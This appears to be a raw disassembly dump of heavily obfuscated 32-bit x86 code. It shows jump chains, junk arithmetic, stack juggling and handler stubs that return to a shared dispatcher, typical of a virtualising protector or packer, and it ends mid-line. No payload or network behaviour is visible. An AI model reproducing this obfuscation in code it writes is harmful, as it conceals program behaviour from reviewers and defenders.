pop esp jmp loc_58CC16 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_592B64: ; CODE XREF: sub_58BC4E+9j add ebp, 4 xchg ebp, [esp+0] pop esp sub esp, 4 mov [esp+0], edi push eax mov eax, 4C740CBBh dec eax or eax, 4A312A9Dh jmp loc_592565 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebx jmp loc_5950CE ; --------------------------------------------------------------------------- loc_592B9D: ; CODE XREF: sdfs____:00594F3Ej add al, 35h add al, bl sub al, 35h mov bx, [esp] push edi mov edi, esp add edi, 4 push 6143h mov [esp], eax mov eax, 2 add edi, eax pop eax xchg edi, [esp] mov esp, [esp] xor bl, al jmp loc_590826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_592BCD: ; CODE XREF: sub_5962EB-5FB9j not ebp xchg ebp, ebx inc ebx push 465h jmp loc_58DD9C ; END OF FUNCTION CHUNK FOR sub_5962EB ; =============== S U B R O U T I N E ======================================= sub_592BDC proc near ; CODE XREF: sub_5987BC-959Ej var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp jmp sub_59377D sub_592BDC endp ; --------------------------------------------------------------------------- loc_592BE7: ; CODE XREF: sdfs____:00590527j add ch, 0E9h dec ch jp loc_590FE7 xor ch, 2Ch push ebx jmp loc_58F6F0 ; --------------------------------------------------------------------------- mov edi, [esp] loc_592BFE: ; CODE XREF: sdfs____:0058BE82j add ebx, 0DCEAAA9Fh jmp loc_58DFE6 ; --------------------------------------------------------------------------- loc_592C09: ; CODE XREF: sdfs____:00596A88j xor ebx, edi jmp loc_59678D ; --------------------------------------------------------------------------- loc_592C10: ; CODE XREF: sdfs____:0058FFD2j add esp, 4 push edx jmp loc_594C82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592C19: ; CODE XREF: sub_594228-3585j sub al, 0DCh add al, dh jmp loc_593BE0 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_592C22: ; CODE XREF: sub_595678-1BF9j mov eax, 715A5B6Ch or ecx, eax pop eax jmp loc_594F55 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_592C3E: ; CODE XREF: sdfs____:0058E39Dj push edi mov edi, 0A9B85E82h sub ecx, edi pop edi sub ebx, 5B5462C2h add ebx, ecx add ebx, 5B5462C2h pop ecx add ebx, 2 jmp loc_59659F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_592C5E: ; CODE XREF: sub_5917C0+3F5Aj add esi, 0CF84D17h jns loc_593B8A sub esi, 0F8F81BC6h mov edi, esi pop esi mov ch, 28h pop ebx loc_592C76: ; CODE XREF: sdfs____:00593170j sub ecx, 4 xchg ecx, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], eax push esp mov eax, [esp-10h+arg_C] add esp, 4 jmp loc_5948FB ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_592C8F: ; CODE XREF: sub_591435+4991j xor ch, ah mov eax, [esp+18h+var_18] add esp, 4 sub al, ch mov ecx, [esp+14h+var_14] push 24BDh mov [esp+18h+var_18], ebx jmp loc_59891C ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_592CA9: ; CODE XREF: sdfs____:00592998j add esp, 4 mov ebp, eax pop eax and ebp, 4DD944B7h jmp loc_5965C7 ; --------------------------------------------------------------------------- loc_592CBD: ; CODE XREF: sdfs____:00597C31j pop cx jmp loc_5923B5 ; --------------------------------------------------------------------------- loc_592CC4: ; CODE XREF: sdfs____:loc_593C9Fj add ebx, 508575F5h mov edx, ebx pop ebx shr edx, 5 neg edx jmp loc_59563D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_592CD7: ; CODE XREF: sub_5941BD-1207j mov ecx, ebx pop ebx shl ecx, 6 xor ecx, 2E2771FAh jmp loc_591CAA ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_592CE8: ; CODE XREF: sdfs____:00597C2Aj and ebx, 75A15E99h sub ebx, 20420Ch sub edi, 27655276h add edi, ebx jmp loc_58FB4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_592D01: ; CODE XREF: sub_5941BD-67D3j push [esp+8+var_8] jmp loc_593E92 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_592D09: ; CODE XREF: sdfs____:0059810Cj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] xor ebx, eax sub edx, 23BD14DCh sub edx, 71441CBDh add edx, eax add edx, 71441CBDh push edi mov edi, 180A2207h or edi, 22796D37h sub edi, 1 jmp loc_5924EC ; =============== S U B R O U T I N E ======================================= sub_592D3F proc near ; CODE XREF: sub_591435+14D8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D0D5 SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 1C8F0645h or ecx, ebx pop ebx jmp loc_58D0D5 sub_592D3F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_592D52: ; CODE XREF: sdfs____:0058ECC7j ; sub_591435+6576j sub al, 0C3h sub al, 0D3h mov ebx, [esp+0] jmp loc_597576 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_592D5E: ; CODE XREF: sub_58BAD7+2463j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] mov esp, [esp+0] mov [esp+0], ebx push eax mov eax, 7C964FF2h sub [esp+4], eax pop eax pop ebp jmp loc_59434E ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_592D87: ; CODE XREF: sub_59841F-6AF0j ; sub_59841F-4172j xchg esi, [esp+0] mov esp, [esp+0] push small word ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_590337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_592D9E: ; CODE XREF: sub_5987BC:loc_58CC74j jmp loc_5943DC ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_592DA3: ; CODE XREF: sdfs____:00593C08j pop esp add bl, 0CBh push ecx mov ch, 0F4h sub ch, 0B5h and ch, 81h not ch push ebx mov bh, 0BAh sub ch, 4Ah add ch, bh add ch, 4Ah jmp loc_598DC5 ; --------------------------------------------------------------------------- loc_592DC2: ; CODE XREF: sdfs____:0058E656j add edx, 4 push ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] jmp loc_58C032 ; --------------------------------------------------------------------------- loc_592DD9: ; CODE XREF: sdfs____:005986B2j neg eax sub eax, 496878ECh or ebx, eax pop eax xor ebx, 56F779D3h add esi, ebx pop ebx push edi mov edi, 2 jmp loc_58D8C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_592DF7: ; CODE XREF: sub_591370+7030j mov esi, 4 add ebp, 730E780Ah add ebp, esi sub ebp, 730E780Ah jmp loc_598989 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_592E0F: ; CODE XREF: sdfs____:0058E585j push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_597858 ; --------------------------------------------------------------------------- loc_592E27: ; CODE XREF: sdfs____:00594841j mov dh, 77h push 0 sub [esp], dh jmp loc_590C10 ; --------------------------------------------------------------------------- loc_592E36: ; CODE XREF: sdfs____:0059505Dj dec edx inc edx add edx, 64F724F2h add edx, 61E76545h and edx, 2283D12h push ebp mov ebp, 220C116Fh dec ebp dec ebp jmp loc_5984AA ; --------------------------------------------------------------------------- loc_592E57: ; CODE XREF: sdfs____:00596C87j add edi, esi pop esi add edi, 2 jmp loc_5981C1 ; --------------------------------------------------------------------------- loc_592E65: ; CODE XREF: sdfs____:005942E0j push esp pop eax add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_594910 ; --------------------------------------------------------------------------- loc_592E83: ; CODE XREF: sdfs____:0058BFB7j xor ch, 0C7h xor dh, ch jmp loc_58C63C ; --------------------------------------------------------------------------- loc_592E8D: ; CODE XREF: sdfs____:0059697Cj xchg ecx, edx not ecx xchg ecx, edx push ecx push edx pop ecx pop edx xor ecx, 0FC6DCE26h mov edi, ecx pop ecx add ecx, edi pop edi jmp loc_595974 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_592EA8: ; CODE XREF: sub_591435-3747j pop edi add edi, 4 push edx mov edx, 6DE63EC4h xor edx, 266C1017h jmp loc_5977A3 ; --------------------------------------------------------------------------- loc_592EC0: ; CODE XREF: sub_591435+C41j push 493Dh mov [esp+4+var_4], eax mov al, 0CCh push ecx push ebx mov bh, 39h mov ch, bh pop ebx shr ch, 6 jmp loc_591952 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_592ED9: ; CODE XREF: sdfs____:00598472j shr ecx, 4 jmp loc_58BAB2 ; --------------------------------------------------------------------------- loc_592EE1: ; CODE XREF: sdfs____:00590325j xor ecx, ebx jmp loc_58C53B ; --------------------------------------------------------------------------- loc_592EE8: ; CODE XREF: sdfs____:00594B44j xor edi, 44B55C1Dh mov ebp, edi pop edi add edx, ebp jmp loc_58C0C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_592EF8: ; CODE XREF: sub_591AD9-2652j shr eax, 0Eh xor eax, ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_595AC4 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- loc_592F11: ; CODE XREF: sdfs____:00598B73j xchg ebx, [esp] jmp loc_594158 ; --------------------------------------------------------------------------- loc_592F19: ; CODE XREF: sdfs____:0059157Cj add esp, 4 jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_592F24: ; CODE XREF: sdfs____:loc_597A7Dj xor ebx, 3BE0C4F2h mov ecx, ebx pop ebx xor edi, ecx jmp loc_58FE42 ; --------------------------------------------------------------------------- loc_592F34: ; CODE XREF: sdfs____:00594C23j push 2AAAh mov [esp], eax mov eax, esp jmp loc_594124 ; =============== S U B R O U T I N E ======================================= sub_592F43 proc near ; CODE XREF: sub_5917AD+Ej var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BB38 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BF0D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058C774 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059083E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005938C6 SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 20C14D4h xor ebx, 20C14D0h add edi, ebx push [esp+4+var_4] jmp loc_59083E sub_592F43 endp ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push ebp mov ebp, 2F741846h xor ebp, 8466459h jmp loc_590C2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_592F7B: ; CODE XREF: sub_590561+77F5j mov si, 7BA1h and dx, si pop si jmp loc_5901C3 ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- loc_592F89: ; CODE XREF: sdfs____:00597650j add dword ptr [esp], 4 mov eax, [esp] jmp loc_596241 ; --------------------------------------------------------------------------- loc_592F98: ; CODE XREF: sdfs____:00598A05j mov ebp, [esp] push edx mov edx, esp jmp loc_5920AC ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp push ecx jmp loc_593A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_592FB0: ; CODE XREF: sub_5941BD-30E9j sub ebx, 6FB5FE02h jmp loc_592CD7 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592FBB: ; CODE XREF: sub_594228-7C83j inc edi js loc_597E8D push edx jmp loc_590CA8 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_592FC8: ; CODE XREF: sub_58CDE6+370Dj xor [esp+0], ebx push ecx push 5F5Ch jmp loc_5986B7 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- xchg bl, [esp] xchg ch, bl not ch jmp loc_596917 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_592FE2: ; CODE XREF: sub_5941BD-752Bj pop ecx jmp loc_58C7F6 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_592FE8: ; CODE XREF: sub_58FA0A+780j add ecx, 3AE516B9h pop esi jmp loc_592A84 ; END OF FUNCTION CHUNK FOR sub_58FA0A ; --------------------------------------------------------------------------- loc_592FF4: ; CODE XREF: sdfs____:0058D1BBj mov edi, 0D64D1F3h sub edx, edi pop edi sub eax, edx pop edx jmp loc_58BDD0 ; --------------------------------------------------------------------------- loc_593004: ; CODE XREF: sdfs____:00597100j xor edx, esi jmp loc_592033 ; --------------------------------------------------------------------------- loc_59300B: ; CODE XREF: sdfs____:005951C8j mov esp, [esp] mov fs:[edx], ax jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_593017: ; CODE XREF: sub_5917C0-2D68j pop dx jmp loc_593EFB ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59301E: ; CODE XREF: sdfs____:0058E940j pop edx or ebx, 2590270Ch sub ebx, 75AD5B03h jge loc_58C659 push ebp jmp loc_595EDD ; --------------------------------------------------------------------------- loc_593037: ; CODE XREF: sdfs____:00597BC3j shl eax, 3 sub eax, 0B070B10Ch mov ecx, eax pop eax jmp loc_595493 ; --------------------------------------------------------------------------- loc_593047: ; CODE XREF: sdfs____:00598001j jmp loc_591898 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_59304C: ; CODE XREF: sub_594F18-6F37j mov edi, 189D5CE3h sub edi, 0BA4725B3h mov ebx, edi mov edi, [esp+4+var_4] add esp, 4 and ebx, 61152A2Eh and ebx, 515469D9h jb loc_5981C9 add ebx, 0BFF3E000h mov edi, ebx pop ebx and eax, edi mov edi, [esp-4+arg_0] add esp, 4 jmp loc_58E510 ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_59308A: ; CODE XREF: sdfs____:0059092Bj xor esi, ecx pop ecx jmp loc_59173F ; --------------------------------------------------------------------------- loc_593092: ; CODE XREF: sdfs____:005934BFj pop esi jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_593098: ; CODE XREF: sdfs____:00591C58j add dword ptr [esp], 4 jmp loc_597152 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5930A1: ; CODE XREF: sub_594228-7E41j mov esi, 3E8A781Bh push ebx mov ebx, 33F45AF4h jmp loc_5907F6 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_5930B1: ; CODE XREF: sub_58FE99+33B7j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_5930B6: ; CODE XREF: sdfs____:005941A2j add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_58F616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5930CF: ; CODE XREF: sub_594228+3A80j add esi, ecx pop ecx add eax, esi jmp loc_595C16 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_58B9C5 ; --------------------------------------------------------------------------- lodsb push ecx mov cl, 1Eh shr cl, 7 shl cl, 6 push ebx mov bh, 3Ah or cl, bh pop ebx and cl, 1Bh sub cl, 18h sub cl, 5Fh jmp loc_596986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5930FF: ; CODE XREF: sub_5962EB-8200j push ecx mov ecx, 472B251Bh and ecx, 1709417Dh dec ecx push eax mov eax, 709011Ch xor ecx, eax jmp loc_58F628 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_593119: ; CODE XREF: sdfs____:0058FF16j xor bh, 0D8h add dl, bh pop ebx xor dl, 0AFh jmp loc_58CC97 ; --------------------------------------------------------------------------- loc_593127: ; CODE XREF: sdfs____:00592A32j mov ebx, 20EE5E72h jmp loc_58CD00 ; =============== S U B R O U T I N E ======================================= sub_593131 proc near ; CODE XREF: sub_5962EB-1886j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00590DE8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00593FF2 SIZE 00000008 BYTES push ebp mov ebp, 70734B21h inc ebp and ebp, 2BC72F7Fh and ebp, 211E0B44h neg ebp xor ebp, 0A8DA9C83h add edx, ebp pop ebp xor ebx, edx pop edx and ebp, ebx pop ebx or ebp, 72D62E5h sub ebp, 0FED5EEDh and eax, ebp pop ebp jmp loc_593FF2 sub_593131 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_593169: ; CODE XREF: sdfs____:0058C1CFj pop ecx add ecx, 4 jmp loc_592C76 ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 35DB2D13h sub eax, 169E38C4h sub eax, 18825F08h sub eax, ebp jmp loc_5932A1 ; --------------------------------------------------------------------------- loc_59318D: ; CODE XREF: sdfs____:00593326j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_58C387 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5931AA: ; CODE XREF: sub_591370+C97j mov ebp, ebx mov edx, ebp pop ebp mov ebx, [esp-14h+arg_10] add esp, 4 and eax, edx push [esp-18h+arg_14] pop edx push ebp jmp loc_598397 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_5931C4: ; CODE XREF: sdfs____:00593F9Aj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebp mov ebp, 4 add esi, ebp pop ebp push ebx mov ebx, 2 add esi, 49413D89h add esi, ebx sub esi, 49413D89h push dword ptr [esp] pop ebx add esp, 4 xchg esi, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5931FF: ; CODE XREF: sdfs____:005925E1j xor esi, edi pop edi sub esp, 4 mov [esp], esi pop ecx mov esi, [esp] add esp, 4 xor edx, ecx pop ecx jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E146 loc_59321D: ; CODE XREF: sub_58E146+32AAj mov [esp+8+var_8], esp jmp loc_58D5DD ; END OF FUNCTION CHUNK FOR sub_58E146 ; --------------------------------------------------------------------------- loc_593225: ; CODE XREF: sdfs____:00597416j pop edx add eax, edx jmp loc_58C484 ; --------------------------------------------------------------------------- loc_59322D: ; CODE XREF: sdfs____:0058DA48j ; sdfs____:005950C7j add ch, 0FFh push ax jmp loc_58D6BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_593237: ; CODE XREF: sub_58FE99+6DFAj add edi, ecx pop ecx push edi push [esp+14h+var_10] mov edi, [esp+18h+var_18] add esp, 4 pop [esp+14h+var_14] pop esp dec [esp+0Ch+var_C] pushf jmp loc_5930B1 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_593255: ; CODE XREF: sub_58E92A+9FB8j xor eax, [esp+2+var_4+2] xor [esp+2+var_4+2], eax xor eax, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] add eax, 3376EA9h movzx ax, byte ptr [eax] jmp loc_5936B6 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- loc_59326F: ; CODE XREF: sdfs____:loc_598BB3j xor eax, 1DF834FFh jmp loc_58CE8F ; --------------------------------------------------------------------------- loc_593279: ; CODE XREF: sdfs____:0058BC43j and ecx, 5F4C2A7Ch and ecx, 7F2915ADh add ecx, 7003219Dh push ebp jmp loc_58C83B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593291: ; CODE XREF: sub_591435+1FB4j push [esp+4+var_4] push [esp+8+var_8] jmp loc_58BE43 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59329C: ; CODE XREF: sdfs____:005951EBj jmp loc_5936F3 ; --------------------------------------------------------------------------- loc_5932A1: ; CODE XREF: sdfs____:00593188j add eax, 18825F08h add eax, 169E38C4h mov ebp, [esp] jmp loc_598634 ; --------------------------------------------------------------------------- loc_5932B3: ; CODE XREF: sdfs____:005922FDj push dword ptr [esp+4] jmp loc_58E365 ; --------------------------------------------------------------------------- loc_5932BC: ; CODE XREF: sdfs____:005954A5j xor ecx, eax pop eax add eax, ecx jmp loc_58EBD7 ; --------------------------------------------------------------------------- loc_5932C6: ; CODE XREF: sdfs____:0059714Dj add esp, 4 push 4CB6h mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_5922F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5932E2: ; CODE XREF: sub_5917C0+57AFj mov [esp-4+arg_0], edx push ebx mov ebx, 1B41FBAh inc ebx jnz loc_59653C sub ebx, 86D3E631h mov edx, ebx pop ebx push esi loc_5932FC: ; CODE XREF: sdfs____:0059234Bj sub al, dh jmp loc_58EE50 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593303: ; CODE XREF: sub_5941BD+9B8j add esp, 4 and ecx, eax jmp loc_598876 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_593310: ; CODE XREF: sdfs____:005920C8j xor [esp], eax xor eax, [esp] mov esp, [esp] mul ecx push 7ADFh mov [esp], edx push edi mov edi, esp jmp loc_59318D ; --------------------------------------------------------------------------- loc_59332B: ; CODE XREF: sdfs____:005942A5j push 1A4214D5h pop ebp push 6905h mov [esp], ebp pop edx pop ebp sub [esp+4], edx jmp loc_5918EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_593344: ; CODE XREF: sub_5985AE-C2D5j sub ecx, edx pop edx inc ecx push 3513h mov [esp+4+var_4], ebx mov ebx, 72725B12h sub esp, 4 mov [esp+8+var_8], ebp jmp loc_58DEBE ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_593363: ; CODE XREF: sdfs____:00593E8Dj mov eax, 0C1179CCAh jmp loc_598D0E ; --------------------------------------------------------------------------- loc_59336D: ; CODE XREF: sdfs____:00594C29j mov edi, esp jmp loc_590F20 ; --------------------------------------------------------------------------- loc_593374: ; CODE XREF: sdfs____:005964FEj add eax, 4 sub eax, 4 jmp loc_593F0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_593381: ; CODE XREF: sub_59841F-9058j xor [esp+4+var_4], eax xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58CDC4 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59339E: ; CODE XREF: sub_591370-4FBDj push edx mov dl, 0FAh push cx mov ch, dl jmp loc_58FBFE ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_5933AA: ; CODE XREF: sub_59377D+2EE5j shl edi, 8 inc edi add edi, 9C84F303h jmp loc_596228 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5933B9: ; CODE XREF: sub_591435+38AEj ; sub_5917C0+3F66j push 685Ah mov [esp+0Eh+var_10+2], ebp push [esp+0Eh+var_C+2] pop ebp pop [esp+0Eh+var_10+2] mov esp, [esp+0Ah+var_C+2] or eax, eax jz sub_594228 push dword ptr [edi+1Ch] push 169Ch mov [esp+8+var_8], esi mov esi, 729033C6h xor [esp+8+var_4], esi pop esi jmp loc_593291 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5933EE: ; CODE XREF: sub_594228+2113j add eax, edi push ebx mov ebx, 0 sub ebx, 4F183967h add ebx, 65E26291h add ebx, eax push esi mov esi, 379D3704h jmp loc_58D48E ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59340F: ; CODE XREF: sdfs____:00597FF9j push edi jmp loc_595880 ; --------------------------------------------------------------------------- loc_593415: ; CODE XREF: sdfs____:00593A33j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_596D10 ; --------------------------------------------------------------------------- loc_593427: ; CODE XREF: sdfs____:00591270j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi push esi mov esi, 7B566EDEh mov edi, 967500E2h add edi, esi pop esi not edi jmp loc_594BFB ; --------------------------------------------------------------------------- loc_593452: ; CODE XREF: sdfs____:005962BFj ; sdfs____:005966B8j mov ecx, [esp] add esp, 4 jmp loc_595B0E ; --------------------------------------------------------------------------- loc_59345D: ; CODE XREF: sdfs____:0059259Aj xor ecx, ebp jmp loc_58E390 ; --------------------------------------------------------------------------- loc_593464: ; CODE XREF: sdfs____:0058C8FBj pop edx sub esp, 4 mov [esp], ecx jmp $+5 push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_592ABD ; --------------------------------------------------------------------------- loc_593489: ; CODE XREF: sdfs____:loc_58CE8Fj neg eax jns loc_5983C6 add eax, 4F40EDB2h mov ebx, eax pop eax mov dl, dl add al, 6Dh ; START OF FUNCTION CHUNK FOR sub_594228 loc_59349D: ; CODE XREF: sub_594228:loc_58E498j sub edx, 3E5D725h push edx pop esi mov edx, [esp+1Eh+var_20+2] jmp loc_58F637 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5934AD: ; CODE XREF: sdfs____:0058DDDBj and ecx, 0B4405ABh add ecx, 0CD3476Fh add esi, ecx pop ecx or [edi+1Ch], esi jmp loc_593092 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5934C4: ; CODE XREF: sub_5917C0-18CAj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] jmp loc_5905D7 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; =============== S U B R O U T I N E ======================================= sub_5934D7 proc near ; CODE XREF: sub_591435+4D9Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00592AC5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005976DD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059806C SIZE 00000026 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp jmp loc_59806C sub_5934D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5934E7: ; CODE XREF: sub_591370:loc_58FBFEj add esi, 0AD4ECA24h push eax mov eax, 18C9750Ch and eax, 1A885C58h not eax sub eax, 0DC47A34Dh xor esi, eax jmp loc_593799 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_593506: ; CODE XREF: sdfs____:0058D2F0j mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_597D34 ; --------------------------------------------------------------------------- loc_593517: ; CODE XREF: sdfs____:0058D68Ej push esp pop ebx add ebx, 4 push ecx mov ecx, 2 push ebp mov ebp, 69B4700h add ebx, ebp pop ebp sub ebx, 10B20A57h add ebx, ecx add ebx, 10B20A57h push ecx push eax push edi mov edi, 3EAB4D4Eh mov eax, edi pop edi mov ecx, 5E54A78Bh sub ecx, eax pop eax not ecx inc ecx xor ecx, 41161445h neg ecx xor ecx, 5824097Ah push ecx jmp loc_5946F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593566: ; CODE XREF: sub_591370:loc_59025Aj inc eax jge loc_59381D inc eax jno loc_58DCF3 jl loc_5984C0 push esp loc_59357B: ; CODE XREF: 